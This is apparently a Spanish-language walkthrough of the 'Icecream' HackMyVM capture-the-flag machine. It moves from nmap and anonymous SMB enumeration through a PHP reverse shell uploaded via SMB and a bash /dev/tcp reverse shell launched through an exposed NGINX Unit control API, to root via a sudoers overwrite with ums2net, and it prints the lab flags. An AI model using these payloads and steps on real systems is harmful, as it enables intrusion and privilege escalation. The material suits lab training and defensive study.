Icecream HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 03:29 EDT
Nmap scan report for 192.168.5.57
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 68:94:ca:2f:f7:62:45:56:a4:67:84:59:1b:fe:e9:bc (ECDSA)
|_ 256 3b:79:1a:21:81:af:75:c2:c1:2e:4e:f5:a3:9c:c9:e3 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: 403 Forbidden
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
9000/tcp open cslistener?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Server: Unit/1.33.0
| Date: Mon, 14 Jul 2025 07:29:15 GMT
| Content-Type: application/json
| Content-Length: 40
| Connection: close
| "error": "Value doesn't exist."
| GetRequest:
| HTTP/1.1 200 OK
| Server: Unit/1.33.0
| Date: Mon, 14 Jul 2025 07:29:14 GMT
| Content-Type: application/json
| Content-Length: 1042
| Connection: close
| "certificates": {},
| "js_modules": {},
| "config": {
| "listeners": {},
| "routes": [],
| "applications": {}
| "status": {
| "modules": {
| "python": {
| "version": "3.11.2",
| "lib": "/usr/lib/unit/modules/python3.11.unit.so"
| "php": {
| "version": "8.2.18",
| "lib": "/usr/lib/unit/modules/php.unit.so"
| "perl": {
| "version": "5.36.0",
| "lib": "/usr/lib/unit/modules/perl.unit.so"
| "ruby": {
| "version": "3.1.2",
| "lib": "/usr/lib/unit/modules/ruby.unit.so"
| "java": {
| "version": "17.0.11",
| "lib": "/usr/lib/unit/modules/java17.unit.so"
| "wasm": {
| "version": "0.1",
| "lib": "/usr/lib/unit/modules/wasm.unit.so"
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| Server: Unit/1.33.0
| Date: Mon, 14 Jul 2025 07:29:14 GMT
| Content-Type: application/json
| Content-Length: 35
| Connection: close
|_ "error": "Invalid method."
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9000-TCP:V=7.95%I=7%D=7/14%Time=6874B1CA%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,4A8,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Unit/1\.33\.0\r\nDat
SF:e:\x20Mon,\x2014\x20Jul\x202025\x2007:29:14\x20GMT\r\nContent-Type:\x20
SF:application/json\r\nContent-Length:\x201042\r\nConnection:\x20close\r\n
SF:\r\n{\r\n\t\"certificates\":\x20{},\r\n\t\"js_modules\":\x20{},\r\n\t\"
SF:config\":\x20{\r\n\t\t\"listeners\":\x20{},\r\n\t\t\"routes\":\x20[\],
SF:\r\n\t\t\"applications\":\x20{}\r\n\t},\r\n\r\n\t\"status\":\x20{\r\n\t
SF:\t\"modules\":\x20{\r\n\t\t\t\"python\":\x20{\r\n\t\t\t\t\"version\":\x
SF:20\"3\.11\.2\",\r\n\t\t\t\t\"lib\":\x20\"/usr/lib/unit/modules/python3\
SF:.11\.unit\.so\"\r\n\t\t\t},\r\n\r\n\t\t\t\"php\":\x20{\r\n\t\t\t\t\"ver
SF:sion\":\x20\"8\.2\.18\",\r\n\t\t\t\t\"lib\":\x20\"/usr/lib/unit/modules
SF:/php\.unit\.so\"\r\n\t\t\t},\r\n\r\n\t\t\t\"perl\":\x20{\r\n\t\t\t\t\"v
SF:ersion\":\x20\"5\.36\.0\",\r\n\t\t\t\t\"lib\":\x20\"/usr/lib/unit/modul
SF:es/perl\.unit\.so\"\r\n\t\t\t},\r\n\r\n\t\t\t\"ruby\":\x20{\r\n\t\t\t\t
SF:\"version\":\x20\"3\.1\.2\",\r\n\t\t\t\t\"lib\":\x20\"/usr/lib/unit/mod
SF:ules/ruby\.unit\.so\"\r\n\t\t\t},\r\n\r\n\t\t\t\"java\":\x20{\r\n\t\t\t
SF:\t\"version\":\x20\"17\.0\.11\",\r\n\t\t\t\t\"lib\":\x20\"/usr/lib/unit
SF:/modules/java17\.unit\.so\"\r\n\t\t\t},\r\n\r\n\t\t\t\"wasm\":\x20{\r\n
SF:\t\t\t\t\"version\":\x20\"0\.1\",\r\n\t\t\t\t\"lib\":\x20\"/usr/lib/uni
SF:t/modules/wasm\.unit\.so\"\r\n\t\t\t},\r\n\r\n\t\t")%r(HTTPOptions,C7,"
SF:HTTP/1\.1\x20405\x20Method\x20Not\x20Allowed\r\nServer:\x20Unit/1\.33\.
SF:0\r\nDate:\x20Mon,\x2014\x20Jul\x202025\x2007:29:14\x20GMT\r\nContent-T
SF:ype:\x20application/json\r\nContent-Length:\x2035\r\nConnection:\x20clo
SF:se\r\n\r\n{\r\n\t\"error\":\x20\"Invalid\x20method\.\"\r\n}\r\n")%r(Fou
SF:rOhFourRequest,C3,"HTTP/1\.1\x20404\x20Not\x20Found\r\nServer:\x20Unit/
SF:1\.33\.0\r\nDate:\x20Mon,\x2014\x20Jul\x202025\x2007:29:15\x20GMT\r\nCo
SF:ntent-Type:\x20application/json\r\nContent-Length:\x2040\r\nConnection:
SF:\x20close\r\n\r\n{\r\n\t\"error\":\x20\"Value\x20doesn't\x20exist\.\"\r
SF:\n}\r\n");
MAC Address: 08:00:27:A5:90:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: ICECREAM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2025-07-14T07:29:15
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.36 seconds
Veremos varias cosas interesantes pero entre ellas el puerto 9000
y el servidor SMB
, pero de momento vamos a centrarnos en el servidor SMB
a ver si nos podemos conectar de forma anonima.
SMB
smbclient -L //<IP>/ -N
Info:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
icecream Disk tmp Folder
IPC$ IPC IPC Service (Samba 4.17.12-Debian)
nobody Disk Home Directories
Veremos que podemos listarlo de forma anonima, por lo que vamos a conectarnos al recurso compartido mas interesante llamado icecream
que es el que no viene por defecto.
smbclient //<IP>/icecream -N
Info:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jul 14 03:33:01 2025
.. D 0 Sun Oct 6 06:06:38 2024
.font-unix DH 0 Mon Jul 14 03:27:59 2025
.XIM-unix DH 0 Mon Jul 14 03:27:59 2025
systemd-private-ede18285066f40d7aa42f4d8f26598b0-systemd-timesyncd.service-EgZPjc D 0 Mon Jul 14 03:27:59 2025
.ICE-unix DH 0 Mon Jul 14 03:27:59 2025
systemd-private-ede18285066f40d7aa42f4d8f26598b0-systemd-logind.service-a1RUQX D 0 Mon Jul 14 03:28:00 2025
.X11-unix DH 0 Mon Jul 14 03:27:59 2025
19480400 blocks of size 1024. 16159792 blocks available
Veremos que ha funcionado, si listamos no vemos nada interesante y si nos metemos en el puerto 80
veremos un 403 Forbbiden
por lo que no podremos hacer gran cosa, vamos a probar a subir un archivo al servidor SMB
e intentar verlo desde el puerto 80
a ver si se comparte los archivos, por lo que vamos hacer lo siguiente.
test.txt
Texto de prueba
Ahora desde el servidor SMB
hacemos esto.
put test.txt
Y con el curl
vamos a ver si se esta compartiendo dicho archivo.
curl http://<IP>/test.txt
Info:
Texto de prueba
Veremos que esta funcionando, por lo que vamos a crear un archivo PHP
para generarnos una reverse shell
de esta forma.
Escalate user www-data
shell.php
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
Ahora realizaremos el mismo proceso que antes, vamos a subir dicho archivo a SMB
de esta forma:
put shell.php
Una vez subido desde el host
vamos a ponernos a la escucha:
nc -lvnp <PORT>
Ahora vamos a visitar dicho archivo desde el navegador de esta forma:
URL = htpp://<IP>/shell.php
Ahora si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.57] 54584
whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user ice
Despues de buscar un rato, si vemos los procesos que estan pasando por dentro con un script llamado pspy64
esta en GitHub
podremos ver los procesos de la maquina victima de linux
, por lo que nos lo pasaremos de esta forma:
host
python3 -m http.server 80
victima
cd /tmp
wget http://<IP>/pspy64
Una vez que nos lo hayamos pasado lo ejecutaremos:
chmod +x pspy64
./pspy64
Info:
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/07/14 09:51:36 CMD: UID=33 PID=817 | ./pspy64
2025/07/14 09:51:36 CMD: UID=0 PID=816 |
2025/07/14 09:51:36 CMD: UID=0 PID=800 |
2025/07/14 09:51:36 CMD: UID=33 PID=768 | bash
2025/07/14 09:51:36 CMD: UID=33 PID=767 | sh -c bash
2025/07/14 09:51:36 CMD: UID=33 PID=766 | script /dev/null -c bash
2025/07/14 09:51:36 CMD: UID=33 PID=764 | sh
2025/07/14 09:51:36 CMD: UID=33 PID=763 | sh -c sh
2025/07/14 09:51:36 CMD: UID=0 PID=761 |
2025/07/14 09:51:36 CMD: UID=0 PID=757 |
2025/07/14 09:51:36 CMD: UID=0 PID=732 |
2025/07/14 09:51:36 CMD: UID=0 PID=661 | /usr/sbin/smbd --foreground --no-process-group
2025/07/14 09:51:36 CMD: UID=0 PID=586 | /usr/sbin/smbd --foreground --no-process-group
2025/07/14 09:51:36 CMD: UID=0 PID=585 | /usr/sbin/smbd --foreground --no-process-group
2025/07/14 09:51:36 CMD: UID=0 PID=578 | /usr/sbin/smbd --foreground --no-process-group
2025/07/14 09:51:36 CMD: UID=0 PID=541 | /usr/sbin/nmbd --foreground --no-process-group
2025/07/14 09:51:36 CMD: UID=33 PID=520 | php-fpm: pool www
2025/07/14 09:51:36 CMD: UID=33 PID=518 | php-fpm: pool www
2025/07/14 09:51:36 CMD: UID=0 PID=516 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2025/07/14 09:51:36 CMD: UID=999 PID=507 | unit: router
2025/07/14 09:51:36 CMD: UID=999 PID=506 | unit: controller
2025/07/14 09:51:36 CMD: UID=1000 PID=505 | unit: router
2025/07/14 09:51:36 CMD: UID=1000 PID=504 | unit: controller
2025/07/14 09:51:36 CMD: UID=33 PID=502 | nginx: worker process
2025/07/14 09:51:36 CMD: UID=0 PID=500 | nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
2025/07/14 09:51:36 CMD: UID=0 PID=491 | unit: main v1.33.0 [/usr/sbin/unitd]
2025/07/14 09:51:36 CMD: UID=0 PID=490 | /sbin/agetty -o -p -- \u --noclear - linux
2025/07/14 09:51:36 CMD: UID=0 PID=481 | php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
2025/07/14 09:51:36 CMD: UID=0 PID=422 | unit: main v1.33.0 [/usr/sbin/unitd --control 0.0.0.0:9000 --user ice]
2025/07/14 09:51:36 CMD: UID=0 PID=401 | /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
2025/07/14 09:51:36 CMD: UID=0 PID=391 | dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
2025/07/14 09:51:36 CMD: UID=0 PID=350 | /lib/systemd/systemd-logind
2025/07/14 09:51:36 CMD: UID=100 PID=348 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2025/07/14 09:51:36 CMD: UID=0 PID=346 | /usr/sbin/cron -f
2025/07/14 09:51:36 CMD: UID=0 PID=331 |
2025/07/14 09:51:36 CMD: UID=997 PID=294 | /lib/systemd/systemd-timesyncd
2025/07/14 09:51:36 CMD: UID=0 PID=291 |
2025/07/14 09:51:36 CMD: UID=0 PID=236 | /lib/systemd/systemd-udevd
2025/07/14 09:51:36 CMD: UID=0 PID=211 | /lib/systemd/systemd-journald
2025/07/14 09:51:36 CMD: UID=0 PID=172 |
2025/07/14 09:51:36 CMD: UID=0 PID=171 |
^CExiting program... (interrupt)
Por lo que vemos en esta linea:
/usr/sbin/unitd --control 0.0.0.0:9000 --user ice
Se esta ejecutando le binario unitd
en el puerto 9000
bajo el usuario ice
por lo que si conseguimos realizar una reverse shell
en dicho puerto podremos obtener acceso como dicho usuario.
Si entramos en el puerto 9000
veremos cosas en JSON
por lo que nos podremos montar una configuracion en JSON
para subirla por POST
con curl
y que obtenga la reverse shell
que tenemos en /tmp
.
rev.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
Lo guardamos en /tmp
el archivo, le damos permisos de ejecuccion:
chmod +x rev.sh
Ahora desde nuestro host
vamos a crear el archivo de configuracion que nos va a proporcionar la shell
.
config.json
{
"listeners": {
"*:8080": {
"pass": "applications/myapp"
}
},
"applications": {
"myapp": {
"type": "external",
"executable": "/tmp/rev.sh"
}
}
}
Ahora nos pondremos a la escucha antes de subirlo.
nc -lvnp <PORT>
Vamos a subir el archivo de configuracion de esta forma:
curl -X PUT -d @config.json http://<IP_VICTIM>:9000/config
Una vez echo esto si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.57] 55172
ice@icecream:~$ whoami
ice
Veremos que ha funcioando, por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Por lo que leeremos la flag
del usuario.
user.txt
HMVaneraseroflove
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ice on icecream:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ice may run the following commands on icecream:
(ALL) NOPASSWD: /usr/sbin/ums2net
Vemos que podemos ejecutar el binario ums2net
como el usuario root
, por lo que haremos lo siguiente.
Con esto podremos escribir archivos en el sistema como root
, por lo que vamos añadirnos en el archivo sudoers
.
cd /tmp
echo "ice ALL=(ALL) NOPASSWD: ALL" > sudoers
cat > pwned.conf << EOF
7766 of=/etc/sudoers
EOF
sudo /usr/sbin/ums2net -c pwned.conf -d
Con esto nos quedaremos a la escucha, en otra terminal dentro de la maquina victima, aprovechemos que tenemos la shell
del usuario www-data
y vamos a volcar dicho archivo sudoers
nuestro modificado mediante el puerto que tenemos escuchando como root
por lo que va a sobreescribirlo con lo nuestro.
cd /tmp
nc <IP_VICTIM> 7766 < sudoers
Una vez echo esto, le daremos a Ctrl+C
para dejarlo ya, ya que con haberlo ejecutado ya lo habremos volcado, si nos volvemos a donde tenemos la escucha de root
del usuario ice
veremos esto:
ums2net[1102]: Totally write 28 bytes to /etc/sudoers
Con esto vemos que se ha pasado el archivo de forma correcta, por lo que si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ice on icecream:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ice may run the following commands on icecream:
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: /usr/sbin/ums2net
Vemos que ha funcionado por lo que haremos lo siguiente para ser root
.
sudo su
Info:
/etc/sudoers:2:11: error de sintaxis
with the 'visudo' command as root.
^~~~~~~~
root@icecream:/tmp# whoami
root
Con esto ya seremos el usuario root
, por lo que leeremos la flag
de root
.
root.txt
HMViminvisible
Last updated